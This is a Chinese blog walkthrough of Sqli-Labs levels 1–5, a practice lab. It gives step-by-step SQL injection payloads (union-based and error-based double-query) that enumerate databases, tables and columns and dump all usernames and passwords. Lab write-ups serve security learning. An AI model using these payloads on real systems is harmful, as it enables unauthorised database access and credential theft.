Sqli-Labs靶场(1--5)题详解

已于 2022-03-10 19:21:07 修改
阅读量4.5k 收藏 30
点赞数 6
分类专栏： Sqli-Labs靶场通关 文章标签： 网络 web安全 网络安全
于 2022-03-10 18:55:39 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46099095/article/details/123399846
版权

目录

一.Less-1:GET - Error based - Single quotes -String(GET - 基于错误 - 单引号 - 字符串)

一、判断注入点

二、确认列数

三、使用Union select 进行查询

四、爆破所有数据库名以及当前数据库名

 五、爆破security数据库内的所有表名

  六、爆破users表内的所有列名

七、查询所有的用户名，密码

二.Less-2:GET - Error based - Intiger based(GET - 基于错误 - 整型)

一、判断注入点

二、确认列数

 三、使用Union select 进行查询

四、爆破所有数据库名以及当前数据库名

 五、爆破security数据库内的所有表名

  六、爆破users表内的所有列名

七、查询所有的用户名，密码

 

三.Less-3:GET - Error based - Single quotes with twist - string(GET - 基于错误 - 扭曲的单引号 - 字符串)

一、判断注入点

二、确认列数

三、使用Union select 进行查询

四、爆破所有数据库名以及当前数据库名

 五、爆破security数据库内的所有表名

  六、爆破users表内的所有列名

七、查询所有的用户名，密码

四.Less-4:GET - Error based - Single Double Quotes  - string(GET - 基于错误 - 单双引号 - 字符串)

一、判断注入点

二、确认列数

三、使用Union select 进行查询

四、爆破所有数据库名以及当前数据库名

 五、爆破security数据库内的所有表名

  六、爆破users表内的所有列名

七、查询所有的用户名，密码

五.Less-5:GET - Double Injection - Single Quotes  - string(GET - 双重注射 - 单引号 - 字符串)

一、判断注入点

二、使用group by 重复报错

三、爆破security数据库内表名

四、爆破users表内列名

五、查询所有的用户名，密码

一.Less-1:GET - Error based - Single quotes -String(GET - 基于错误 - 单引号 - 字符串)

一、判断注入点

输入:?id=1,页面正常

输入:?id=1 and 1=1,页面回显正常

输入:?id=1 and 1=2,页面回显正常

得出结论->注入点类型不是数值型

输入:?id=1',页面回显不正常

输入:?id=1' and '1'='1,页面回显正常

输入:?id=1' and '1'='2,页面回显不正常

得出结论->存在单引号字符串类型注入漏洞

二、确认列数

输入:?id=1' order by 3 #,我们发现后面的 ' 并没有被#注释掉

继续输入:?id=1' order by 3 --+,后面的 ' 任然没有被#注释掉

直到输入:?id=1' order by 3 -- +,页面回显正常

再输入:?id=1' order by 4 -- +,页面回显错误

得出结论-> 列数为3列

三、使用Union select 进行查询

输入:?id=-1' union select 1,2,3 -- +

得出结论->页面有2个显示位,分别为2,3

四、爆破所有数据库名以及当前数据库名

输入:?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),database() -- +

得出结论->当前数据库名为:security

五、爆破security数据库内的所有表名

输入:?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() -- +

得出->security数据库下所有表

六、爆破users表内的所有列名

输入:?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='users') -- +

 得出结论->username列以及password列

七、查询所有的用户名，密码

输入:?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

二.Less-2:GET - Error based - Intiger based(GET - 基于错误 - 整型)

一、判断注入点

输入:?id=1,页面正常

输入:?id=1 and 1=1,页面回显正常

输入:?id=1 and 1=2,页面回显b不正常

得出结论->存在整值型注入漏洞

二、确认列数

输入:?id=1 order by 3 ,页面回显正常

再输入:?id=1 order by 4 ,页面回显错误

得出结论-> 列数为3列

三、使用Union select 进行查询

输入:?id=-1 union select 1,2,3

得出结论->页面有2个显示位,分别为2,3

四、爆破所有数据库名以及当前数据库名

输入:?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),database()

得出结论->当前数据库名为:security

 五、爆破security数据库内的所有表名

输入:?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database()

得出->security数据库下所有表

六、爆破users表内的所有列名

输入:?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='users')

 得出结论->username列以及password列

七、查询所有的用户名，密码

输入:?id=-1 union select 1,group_concat(username),group_concat(password) from users

三.Less-3:GET - Error based - Single quotes with twist - string(GET - 基于错误 - 扭曲的单引号 - 字符串)

一、判断注入点

输入:?id=1,页面正常

输入:?id=1 and 1=1,页面回显正常

输入:?id=1 and 1=2,页面回显正常

得出结论->注入点类型不是数值型

 输入:?id=1',页面回显不正常

输入:?id=1' and 1=1,页面返回不正常

根据提示输入?id=1') and 1=1 -- +,页面回显正常-------补齐提示中的第一个( 并注释掉后面的')

得出结论->存在单引号字符串类型注入漏洞

二、确认列数

输入:?id=1') order by 3-- +,页面回显正常

再输入:?id=1') order by 4-- +,页面回显错误

得出结论-> 列数为3列

三、使用Union select 进行查询

输入:?id=-1') union select 1,2,3-- +

得出结论->页面有2个显示位,分别为2,3

四、爆破所有数据库名以及当前数据库名

输入:?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),database()-- +

得出结论->当前数据库名为:security

五、爆破security数据库内的所有表名

输入:?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database()-- +

得出->security数据库下所有表

六、爆破users表内的所有列名

输入:?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='users')-- +

 得出结论->username列以及password列

七、查询所有的用户名，密码

输入:?id=-1') union select 1,group_concat(username),group_concat(password) from users-- +

四.Less-4:GET - Error based - Single Double Quotes  - string(GET - 基于错误 - 单双引号 - 字符串)

一、判断注入点

输入:?id=1,页面正常

输入:?id=1 and 1=1,页面回显正常

输入:?id=1 and 1=2,页面回显正常

得出结论->注入点类型不是数值型

输入:?id=1',页面回显正常

输入:?id=1' and '1'='1,页面回显正常

输入:?id=1' and '1'='2,页面回显正常

得出结论->注入点类型不是单引号字符型

根据提示,输入:?id=1" )and 1=1-- +,回显正常

 输入:?id=1" )and 1=2-- +,无回显

得出结论->存在双引号字符串类型注入漏洞

二、确认列数

输入:?id=1" ) order by 3-- +,页面回显正常

再输入:?id=1" ) order by 4-- +,页面回显错误

得出结论-> 列数为3列

三、使用Union select 进行查询

输入:?id=-1" ) union select 1,2,3-- +

得出结论->页面有2个显示位,分别为2,3

四、爆破所有数据库名以及当前数据库名

输入:?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),database()-- +

得出结论->当前数据库名为:security

五、爆破security数据库内的所有表名

输入:?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database()-- +

得出->security数据库下所有表

六、爆破users表内的所有列名

输入:?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='users')-- +

 得出结论->username列以及password列

七、查询所有的用户名，密码

输入:?id=-1") union select 1,group_concat(username),group_concat(password) from users-- +

五.Less-5:GET - Double Injection - Single Quotes  - string(GET - 双重注射 - 单引号 - 字符串)

一、判断注入点

输入:?id=1,页面正常,但是并未返回数据库当中的信息,所以此题不能使用联合查询

输入:?id=1',页面回显不正常

输入:?id=1' -- +,页面回显正常

得出结论->存在单引号字符串类型注入漏洞

二、使用group by 重复报错

输入?id=1' and(select 1 from(select count(*),concat((select concat(schema_name,'~') from information_schema.schemata limit 0,1),floor(rand()*2)) x from information_schema.tables group by x) a)-- +

得出结论->其中有一个叫information_schema的数据库

继续爆破其他数据库

得出其他数据库->challenges,mysql,performance_schema,security,sys

 

 

 

 

 直到limit 6,1,回显页面

得出结论->一共有6个数据库

三、爆破security数据库内表名

输入:?id=1' and(select 1 from(select count(*),concat((select concat(table_name,'~') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) x from information_schema.tables group by x) a)-- +

再通过修改limit 0,1的第一个值,依次爆破得表名->emails,uagents,referers,users

四、爆破users表内列名

输入:?id=1' and(select 1 from(select count(*),concat((select concat(column_name,'~') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) x from information_schema.columns group by x) a)
-- +

再通过修改limit 0,1的第一个值,爆破得表名username,password

五、依次爆破用户名，密码

输入:http://localhost/sqli-labs-master/Less-5/?id=1' and(select 1 from(select count(*),concat((select concat(username,'~',password) from security.users limit 0,1),floor(rand()*2)) x from security.users group by x) a)-- +

神明c
关注
  • 6
    点赞
  • 踩
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqli-labs靶场练习笔记
11-09
sqli-labs靶场练习笔记，里面有2关 3关 4关 5关 4关 7关 8关 9关 11关 12关 13关 14关 15关 16关 17关 18关 19关 20关 21关 22关 23关 24关 的练习内容，可以供给初学sql注入的学者参考
sqli-labs-master.zip
03-17
SQL-labs靶场，练习sql注入，适合新手练习漏洞基础，web安全，渗透，漏洞基础，典型漏洞，漏洞原理刨析，搭建在自己虚拟键，带源码，多分析 ，仅供学习
sqli-labs靶场总结（持续更新）
<XiaoHai>的博客
06-17 1707
web安全
sqli-labs训练平台靶场详解！！！！
最新发布
ytdd66的博客
03-19 2228
下面选取几个具有代表性的关卡，演示几种 SQL 注入漏洞利用方法。
SQL注入从入门到进阶：sqli-labs靶场通关笔记
tzyyyyyy的博客
09-26 5164
SQL注入从入门到进阶：sqli-labs全关通关笔记 Less-1~Less64
sqli-labs靶场
02-12
sqli-labs靶场
sqli-labs靶场（1-22关）
weixin_51566481的博客
08-16 7326
sqli-labs,sql注入，burpsuit
sqli-labs靶场分析
RestoreJustice的博客
03-18 2239
这里是 基于WAF的一个错误引起的SQL注入，源代码level 29文件夹里有三个php文件，默认访问这个文件夹的index.php但这个文件是没有接入“WAF”的。在测试符号后面添加and sleep(5) --+，如果成功闭合前面的语句，则会执行sleep(5)，利用延时注入的原理判断闭合方式。来看看第二种格式，第二种格式除了能像第一种格式一样得到数组内元素的值外，还能得到元素的索引值，并保存到$key变量中，如果数组的索引值未经过人工设定，则返回系统默认的设定值。第一个id的值符合规则，WAF放行。
Sqli-labs靶场搭建（适合新手小白围观）
weixin_72543266的博客
09-12 5591
本章是对SQL注入进行一个简单的回归,然后就是对于自己在搭建靶场中所遇到的一些问题的解决办法,以及进行安装步骤的总结,对于自己的自主配置和独立解决问题的能力是一种培养每日一言真正的有福之人，是经历极大的挫折磨难后，依然屹立不倒的人。一个人能承受的东西越多，他所能得到的馈赠才越多。
sql-labs靶场环境搭建（手把手教你如何搭建）
热门推荐
Joker_Dgh的博客
04-02 3万+
sqli-labs介绍 SQLI-LAB下载地址： https://github.com/Audi-1/sqli-labs WEB环境搭建： 在安装靶场之前，我们还需要搭建web运行环境： 这里直接使用phpstudy进行搭建，phpStudy是一个PHP调试环境的程序集成包。安装后一键启动即可运行web环境：Windows版phpstudy下载 - 小皮面板(phpstudy) (xp.cn) 下载后安装即可。 Sql-labs靶场环境搭建 安装好phpst..
零基础学SQL注入必练靶场之SQLiLabs（搭建+打靶）
Ms08067安全实验室
12-20 1万+
文章来源 | MS08067Web零基础就业班1期作业本文作者：giunwr、tyrant（零基础1期）SQLi-Labs是一个专业的SQL注入漏洞练习靶场，零基础的同学学SQL注入的时候，sqli-labs这个靶场是必练的，它里面包含了很多注入场景，以及在sql注入的时候遇到的各种问题，适用于GET和POST场景，包含了以下注入：一、作业描述完成sqllibs前18关，尽可能使用多的方法二、s...
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
phpstudy+靶场sqli-labs-master下载
11-08
phpstudy+靶场sqli-labs-master下载
sqli-labs靶场通关秘籍分享（1-10关）
weixin_45585955的博客
04-16 2546
一、 1、SQL注入原理：sql语句未经查询直接带入数据库查新，sql注入攻击其实就是服务端的攻击，它与操作系统、服务器类型、脚本语言无关 2、sql注入类型：分为数字型、字符型、搜索型、xx型 3、注入提交方式：get提交、post提交、cookie提交。 4、注入攻击提交支持的类型 union注入、information_schema、宽字节注入、报错注入、盲注，这里的盲注分为三种，分别是 布尔型盲注、时间型盲注、报错型盲注。 updatexml注入分为 insert注入、update注入
SQLILABS靶场攻略向1-11
找寻新世界还为时不晚，因为我的梦想是杨帆到日落之后的地方，尽管现今还无法实现， 但旧日的力量曾撼动天地。
09-19 613
sqlilabs攻略向
sqli-labs 靶场通关（1-10）
知世郎
10-15 1527
第七关当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错，但是没有报错信息，这和我们之前的关卡不一样，之前都有报错信息。然后我输入id=1'--+时报错，这时候我们可以输入id=1')--+发现依然报错，之时我试试是不是双括号输入id=1'))--+，发现页面显示正常。id=1' and ascii(substr(database(),1,1))=115 -- qwe //正常 库名首字母ascii码115所对应的字母是s。id=2'的时候看到页面报错信息。
Sqlilabs靶场1-10关详解（Get请求式）
爱吃仡坨的Blog
10-16 2357
sqlilabs用到的是mysql数据库，mysql5.0以上版本自带的数据库是information_schema，其下有tables和columns两个表tables表中的table_name字段下是所有数据库存在的表名table_schema字段下是所有表名对应的数据库名。columns表中的column_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。
sqli-labs靶场实战
u011417723的博客
03-08 1765
靶场实战
ubuntu搭建sqli-labs靶场
10-15
好的，以下是搭建sqli-labs靶场的步骤： 1. 安装LAMP环境（Linux + Apache + MySQL + PHP）： ``` sudo apt-get update sudo apt-get install apache2 mysql-server php libapache2-mod-php php-mysql ``` 2. 下载sqli-labs代码： ``` git clone https://github.com/Audi-1/sqli-labs.git ``` 3. 将sqli-labs代码放到Apache的根目录下： ``` sudo mv sqli-labs /var/www/html/ ``` 4. 创建MySQL数据库并导入数据： ``` mysql -u root -p create database security; use security; source /var/www/html/sqli-labs/sql-connections/db-creds.inc source /var/www/html/sqli-labs/schema/mysql.sql ``` 5. 修改sqli-labs配置文件： ``` cd /var/www/html/sqli-labs/ sudo cp config.inc.example config.inc sudo nano config.inc ``` 将以下两行代码的注释去掉，并修改为自己的MySQL用户名和密码： ``` $dbuser='root'; $dbpass='password'; ``` 6. 重启Apache服务： ``` sudo service apache2 restart ``` 7. 访问sqli-labs靶场： 在浏览器中输入：http://localhost/sqli-labs/

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值